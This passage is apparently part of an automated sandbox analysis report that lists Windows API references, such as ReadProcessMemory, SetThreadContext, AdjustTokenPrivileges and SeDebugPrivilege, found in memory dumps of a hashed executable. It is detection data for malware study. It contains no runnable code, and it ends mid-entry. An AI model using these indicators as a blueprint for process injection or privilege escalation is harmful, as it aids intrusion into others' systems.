00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F10000.00000002.mdmp, 00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "SetParent"; Source: "00000000-00001548.00000000.239967.82C90000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82D30000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetProcessIdOfThread"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found reference to API (Indicator: "GetThreadId"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "FlushInstructionCache"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetThreadGroupAffinity"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetProcessGroupAffinity"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetProcessAffinityMask"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "QueryInformationJobObject"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "CoCreateGuid"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00001548.00000001.241886.80D10000.00000004.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "FormatMessage"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetMessage"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueEx"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueEx"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyEx"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistry"; Source: "00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessWithLogonW"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetProcessId"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetComputerName"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "QueueUserWorkItem"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "NtQuerySystemInformation"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B90000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp, 00000000-00001548.00000002.243806.B8C00000.00000004.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "K32EnumProcesses"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectory"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "QueueUserAPC2"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetClassName"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SuspendThread"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "SetThreadDescription"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API (Indicator: "GetLength"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82B00000.00000002.mdmp")3a:Ta35,Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "UseShellExecuteNotSupported" (Indicator: "ShellExecute"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "seShellExecuteNotSupported" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "g____PInvoke|19_0" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "ShellExecuteOnSTAThread" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "get_UseShellExecuteNotSupported" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "k__BackingField" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "get_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "set_UseShellExecute" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp, 00000000-00001548.00000002.243806.B8C00000.00000004.mdmp") Found reference to API "ShellExecuteFunction" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "ShellExecuteHelper" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "StartWithShellExecuteEx" (Indicator: "ShellExecute"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")3b:T5d1,Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "In Thread::SuspendThread ::SuspendThread returned %x" (Indicator: "SuspendThread"; Source: "00000000-00001548.00000001.241886.8F878000.00000002.mdmp")3c:T61b,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp") Found reference to API "g____PInvoke|24_0" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "g____PInvoke|6_0" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "GetOrOpenProcessHandle" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp")3d:T438,Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe") Found reference to API "GetLastError" (Indicator: "GetLastError"; File: 